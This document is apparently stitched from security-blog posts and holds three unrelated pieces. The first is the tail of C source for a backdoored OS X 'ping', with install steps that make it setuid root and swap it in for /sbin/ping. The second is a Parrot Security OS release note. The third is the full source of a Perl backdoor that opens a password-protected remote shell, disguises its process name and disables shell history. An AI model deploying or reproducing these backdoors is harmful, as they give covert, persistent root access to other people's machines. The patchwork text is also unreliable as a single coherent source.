		    (*cp * 256 + *(cp + 1)), (*(cp + 2) * 256 + *(cp + 3)));
	else if (ip->ip_p == 17)
		(void)printf("UDP: from port %u, to port %u (decimal)\n",
			(*cp * 256 + *(cp + 1)), (*(cp + 2) * 256 + *(cp + 3)));
}

static char *
pr_ntime (n_time timestamp)
{
	static char buf[10];
	int hour, min, sec;

	sec = ntohl(timestamp) / 1000;
	hour = sec / 60 / 60;
	min = (sec % (60 * 60)) / 60;
	sec = (sec % (60 * 60)) % 60;

	(void)snprintf(buf, sizeof(buf), "%02d:%02d:%02d", hour, min, sec);

	return (buf);
}

static void
fill(bp, patp)
	char *bp, *patp;
{
	char *cp;
	int pat[16];
	u_int ii, jj, kk;

	for (cp = patp; *cp; cp++) {
		if (!isxdigit(*cp))
			errx(EX_USAGE,
			    "patterns must be specified as hex digits");

	}
	ii = sscanf(patp,
	    "%2x%2x%2x%2x%2x%2x%2x%2x%2x%2x%2x%2x%2x%2x%2x%2x",
	    &pat[0], &pat[1], &pat[2], &pat[3], &pat[4], &pat[5], &pat[6],
	    &pat[7], &pat[8], &pat[9], &pat[10], &pat[11], &pat[12],
	    &pat[13], &pat[14], &pat[15]);

	if (ii > 0)
		for (kk = 0; kk <= maxpayload - (TIMEVAL_LEN + ii); kk += ii)
			for (jj = 0; jj < ii; ++jj)
				bp[jj + kk] = pat[jj];
	if (!(options & F_QUIET)) {
		(void)printf("PATTERN: 0x");
		for (jj = 0; jj < ii; ++jj)
			(void)printf("%02x", bp[jj] & 0xFF);
		(void)printf("\n");
	}
}

#if defined(IPSEC) && defined(IPSEC_POLICY_IPSEC)
#define	SECOPT		" [-P policy]"
#else
#define	SECOPT		""
#endif
static void
usage()
{

	(void)fprintf(stderr, "%s\n%s\n%s\n%s\n%s\n%s\n%s\n%s\n",
"usage: ping [-AaDdfnoQqRrv] [-b boundif] [-c count] [-G sweepmaxsize] [-g sweepminsize]",
"            [-h sweepincrsize] [-i wait] [-l preload] [-M mask | time] [-m ttl]",
"           " SECOPT " [-p pattern] [-S src_addr] [-s packetsize] [-t timeout]",
"            [-W waittime] [-z tos] host",
"       ping [-AaDdfLnoQqRrv] [-c count] [-I iface] [-i wait] [-l preload]",
"            [-M mask | time] [-m ttl]" SECOPT " [-p pattern] [-S src_addr]",
"            [-s packetsize] [-T ttl] [-t timeout] [-W waittime]",
"            [-z tos] mcast-group");
	exit(EX_USAGE);
}

Usage :

$ ./ping -X
   .----------------.
   |_I_I_I_I_I_I_I_I]___
   |  _    r00t! : ; _  )
  ='-(_)----------=-(_)-'
sh-3.2# whoami
root
sh-3.2#

Compilation & Installation:
– wget https://raw.githubusercontent.com/raincoats/osx-ping-backdoor/master/ping.c
– gcc ping.c -o ping
– chown root:wheel ./ping; chmod 4755 ./ping
– Optionally, mv /sbin/ping{,-backup} && mv ./ping /sbin (but I mean, really, are you sure you want a backdoor on your smackbook throw?)

Source : https://github.com/raincoats

Changelog Parrot 2.0rc6+:
+ UPGRADE
Due to the upgrade problems from debian wheezy to debian jessie, the upgrade from parrot 1.9 and parrot 2.0 will probably be impossible to be done, but the good news is that starting from the 2.0 branch (even from these testing releases) the upgrade will work again without errors.
+ FEATURES
This release has many new features, nothing really important (not yet), but we managed to bring all our old features that worked on the previous versions to this new release, while it brings a new tgk theme, some new or updated tools etc.

Parrot Security OS is a cloud friendly operating system designed for Pentesting, Computer Forensic, Reverse engineering, Hacking, Cloud pentesting, privacy/anonimity and cryptography. Based on Debian and developed by Frozenbox network.

Image may be NSFW.
Clik here to view.

Parrot Security OS is a cloud friendly operating system designed for Pentesting, Computer Forensic,

Features :
+ updated pentesting tools
+ great for forensic analysis
+ custom hardened 3.16 kernel
+ MATE interface with custom themes, wallpapers and icons
+ fast lightweight system designed also for old computers
+ PenMode + AirMode
+ AnonSurf functionality (tor & i2p)
+ pandora’s box ram cleaner at shutdown
+ encrypted installation
+ cryptocurrency friendly
+ all the necessary for programming out of the box
+ cloud compatible

Download :
Parrot 2.0rc6+ i386 (32bit) 
Parrot 2.0rc6+ amd64 (64bit)
Source : http://www.parrotsec.org/ | Our Post Before 

PerlBackdoor – a advanced Perl Backdoor.

Script :

#!/usr/bin/perl
#
# Advanced perl backdoor
#
# http://www.purificato.org
# https://github.com/bunk3r/perlbackdoor
#
use warnings;
use strict;
use IO::Socket;
use IO::Select;
use POSIX;

my $PORT        = 18080;
# perl -e '$pass="yourpassword"; print crypt($pass,substr($pass,2))."\n"'
my $PASSWORD    = 'c1p05Qn9nY3LE';
my $SHELL       = "/bin/sh";
my $HOME        = "/tmp";
my $PROC        = "/bin/sh";
my $PROMPT	= "P-> ";
my @STTY        = ('sane', 'echoe', 'echoctl', 'echoke', '-ixany');

$ENV{HOME}       = $HOME;
$ENV{PS1}        = '\u@\h:\w\$ ';
$ENV{PATH}       = '/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:/usr/ucb';
$ENV{HISTFILE}   = '/dev/null';
$ENV{USER}       = 'root';
$ENV{LOGNAME}    = 'root';
$ENV{LS_OPTIONS} = ' --color=auto -F -b -T 0';
$ENV{LS_COLORS}  = 'LS_COLORS=no=00:fi=00:di=01;34:ln=01;36:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:su=37;41:sg=30;43:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arj=01;31:*.taz=01;31:*.lzh=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.gz=01;31:*.bz2=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.jpg=01;35:*.jpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.avi=01;35:*.fli=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.flac=01;35:*.mp3=01;35:*.mpc=01;35:*.ogg=01;35:*.wav=01;35:';
$ENV{SHELL}      = $SHELL;
$ENV{TERM}       = 'xterm';

$0 = $PROC."\0";

$SIG{HUP}  = 'IGNORE';
$SIG{TERM} = 'IGNORE';
$SIG{CHLD} = sub { wait; };

my %IOCTLDEF;
$IOCTLDEF{TIOCSWINSZ} = 0x5414;
$IOCTLDEF{TIOCNOTTY}  = 0x5422;
$IOCTLDEF{TIOCSCTTY}  = 0x540E;

#
# BSD
#
safeload('sys/ttycom.ph', 1);
safeload('sys/ioctl.ph', 1);
safeload('asm/ioctls.ph', 1);

foreach my $IOCTL (keys(%IOCTLDEF)) {
    next if (defined(&{$IOCTL}));
    # 
    # linux
    #
    if (open(IOD, "< /usr/include/asm/ioctls.h")) {
	while(<IOD>) {
	    if (/^\#define\s+$IOCTL\s+(.*?)\n$/) {
	    eval "sub $IOCTL () {$1;}";
	    last;
	}
    }
    close(IOD);
    }
    eval "sub $IOCTL () { $IOCTLDEF{$IOCTL};}" unless (defined(&{$IOCTL}));
}

#
# NO DEFAULT PORT
#
$PORT = $ARGV[0] if ($ARGV[0]);

my $bind = IO::Socket::INET->new(Listen=>1, LocalPort=>$PORT, Proto=>"tcp") or die "$!";

defined(my $pid = fork)
    or die "$!";
exit if $pid;

my %CLIENT;
my $sel_serv  = IO::Select->new($bind);
my $sel_shell = IO::Select->new();

#
# MAIN LOOP
#
while (1) {
    select(undef,undef,undef, 0.3) if (scalar(keys(%CLIENT)) == 0);
    read_clients();
    read_shells();
}

sub read_clients {
    map { read_client($_) } ($sel_serv->can_read(0.01));
}

sub read_shells {
    map { read_shell($_) } ($sel_shell->can_read(0.01));
}


sub read_client {
    my $fh = shift;
    if ($fh eq $bind) {
	my $newcon = $bind->accept;
	$sel_serv->add($newcon);
	$CLIENT{$newcon}->{senha} = 0;
	$CLIENT{$newcon}->{sock} = $newcon;
	$fh->autoflush(1);
	do_client($newcon, '3', '5', '1');
	sleep(1);
	write_client($newcon, $PROMPT) if ($PROMPT);
    } else {
	my $msg;
	my $nread = sysread($fh, $msg, 1024);
	if ($nread == 0) {
	    close_client($fh);
	} else {
	    telnet_parse($fh, $msg);
	}
    }
}

sub telnet_parse {
    my ($cli, $msg) = @_;
    my $char = (split('', $msg))[0];
    if (ord($char) == 255) {
	chr_parse($cli, $msg);
    } else {
	if ($CLIENT{$cli}->{senha} == 0) {
	    $CLIENT{$cli}->{buf} .= $msg;
	    return() unless ($msg =~ /\r|\n/);
	    my $pass = $CLIENT{$cli}->{buf};
	    $CLIENT{$cli}->{buf} = '';
	    $pass =~ s/\n//g;
	    $pass =~ s/\0//g;
	    $pass =~ s/\r//g;
	    if (crypt($pass, $PASSWORD) ne $PASSWORD) {
		close_client($cli);
	    } else {
		$CLIENT{$cli}->{senha} = 1;
		write_client($cli, "\r\n\r");
		new_shell($cli);
	    }
	    return();
	}
	$msg =~ s/\r\n\0\0//g;
	$msg =~ s/\0//g;
	$msg =~ s/\r\n/\n/g;
	write_shell($cli, $msg);
    }
}

sub read_shell {
    my $shell = shift;
    my $cli;
    map { $cli = $CLIENT{$_}->{sock} if ($CLIENT{$_}->{shell} eq $shell) } keys(%CLIENT);
    my $msg;
    my $nread = sysread($shell, $msg, 1024);
    unless (defined $nread) {
	close_client($cli);
    } else {
	write_client($cli, $msg);
    }
}

sub to_chr {
    my $chrs = '';
    map { $chrs .= chr($_) } (split(/ +/, shift));
    return($chrs);
}

sub do_client {
    my ($client, @codes) = @_;
    map { write_client($client, chr(255).chr(251).chr($_)) } @codes;
}

sub chr_parse {
    my ($client, $chrs) = @_;
    my $ords = '';
    map { $ords .= ord($_).' ' } (split(//, $chrs));
    my $msg = '';

    if ($ords =~ /255 250 31 (\d+) (\d+) (\d+) (\d+)/) {
	my $winsize = pack('C4', $4, $3, $2, $1);
	ioctl($CLIENT{$client}->{shell}, &TIOCSWINSZ, $winsize);# or die "$!";
    }
    
    foreach my $code (split("255 ", $ords)) {
	if ($code =~ /(\d+) (.*)$/) {
	    my $codes = $2;
	    if ($1 == 251) {
		$msg .= chr(255).chr(253);
		map { $msg .= chr($_) } (split(/ +/, $codes));
	    }
	}
    }
    write_client($client, $msg) if ($msg);
    return(1);
}


sub new_shell {
    my $cli = shift;
    POSIX::setpgid(0, 0);
    my ($tty, $pty);
    unless (($tty, $pty) = open_tty($cli)) {
	finish_client($cli, "ERROR: No more pty's avaliable\n");
	return(undef);
    }
    my $pid = fork();
    if (not defined($pid)) {
	finish_client($cli, "ERROR: fork()\n");
	return(undef);
    }
    unless($pid) {
	close($pty);
	local(*DEVTTY);
	if (open (DEVTTY, "/dev/tty")) {
	    ioctl(DEVTTY, &TIOCNOTTY, 0 );# or die "$!";
	    close(DEVTTY);
	}
	POSIX::setsid();
	ioctl($tty, &TIOCSCTTY, 0);# or die "$!";

	open (STDIN, "<&".fileno($tty)) or die "$!";
	open (STDOUT, ">&".fileno($tty)) or die "$!";
	open (STDERR, ">&".fileno($tty)) or die "$!";
	close($tty);
	sleep(1);
	foreach my $stty ("/bin/stty", "/usr/bin/stty") {
	    next unless (-x $stty);
	    map { system("$stty", $_) } @STTY;
	}

	chdir("$HOME");
	{ exec("$SHELL") };
	while (my $msg = <STDIN>) {
	    $msg =~ s/\n$//;
	    $msg =~ s/\r$//;
	    system("$msg 2>&1");
	}
	exit;
    }
    close($tty);
    select($pty); $|++;
    select(STDOUT);
    set_raw($pty);
    $CLIENT{$cli}->{shell} = $pty;
    $sel_shell->add($pty);
    return(1);
}


sub set_raw($) {
    my $self = shift;
    return 1 if not POSIX::isatty($self);
    my $ttyno = fileno($self);
    my $termios = new POSIX::Termios;
    unless ($termios) {
	return undef;
    }
    unless ($termios->getattr($ttyno)) {
	return undef;
    }
    $termios->setiflag(0);
    $termios->setoflag(0);
    $termios->setlflag(0);
    $termios->setcc(&POSIX::VMIN, 1);
    $termios->setcc(&POSIX::VTIME, 0);
    unless ($termios->setattr($ttyno, &POSIX::TCSANOW)) {
	return undef;
    }
    return 1;
}

sub open_tty {
    no strict;
    my $cli = shift;
    my ($PTY, $TTY) = (*{"pty.$cli"}, *{"tty.$cli"});
    for (my $i=0; $i<256; $i++) {
	my $pty = get_tty($i, "/dev/pty");
	next unless (open($PTY, "+> $pty"));
	my $tty = get_tty($i, "/dev/tty");
	unless(open($TTY, "+> $tty")) {
	    close($PTY);
	    next;
	}
	return($TTY, $PTY);
    }
    return();
}

sub get_tty {
    my ($num, $base) = @_;
    my @series = ('p' .. 'z', 'a' .. 'e');
    my @subs = ('0' .. '9', 'a' .. 'f');
    my $buf = $base;
    $buf .= @series[($num >> 4) & 0xF];
    $buf .= @subs[$num & 0xF];
    return($buf);
}

sub safeload {
    my ($module, $require, $arg) = @_;
    my $file = $module;
    $file =~ s/::/\//g;
    if ($require) {
        map { eval ("require \"$_/$file\";") if(-f "$_/$file"); } @INC;
    } else {
	$file .= ".pm" unless ($file =~ /(\.pm|\.ph)$/);
	return(eval("use $module $arg;")) if (grep { -f "$_/$file" } @INC);
    }
    return;
}

sub write_shell {
    my ($cli, $msg) = @_;
    my $shell = $CLIENT{$cli}->{shell};
    return(undef) unless($shell);
    foreach my $m (split_chars($msg, 20)) {
	read_shells();
	print $shell $m;
	read_shells();
    }
    return(1);
}

sub split_chars {
    no warnings;
    my ($msg, $nchars) = @_;
    my @splited;
    my @chrs = split ('', $msg);
    my $done = 0;
    while (1) {
	my $splited = join('', @chrs[$done .. ($done+$nchars-1)]);
	$done += $nchars;
	last if (length($splited) < 1);
	push(@splited, $splited);
    }
    return(@splited);
}

sub finish_client {
    my ($cli, $msg) = @_;
    write_client($cli, $msg);
    close_client($cli);
}
   
sub close_client {
    my $cli = shift;
    my $sock = $CLIENT{$cli}->{sock};

    $sel_serv->remove($sock);
    if ($CLIENT{$cli}->{shell}) {
	my $shell = $CLIENT{$cli}->{shell};
	$sel_shell->remove($shell);
	close($shell);
    }
    $sock->close() if($sock);
    delete($CLIENT{$cli});
}

sub write_client {
    my ($cli, $msg) = @_;
    my $sock = $CLIENT{$cli}->{sock};
    syswrite($sock, $msg, length($msg)) if ($sock);
}

Source :https://github.com/bunk3r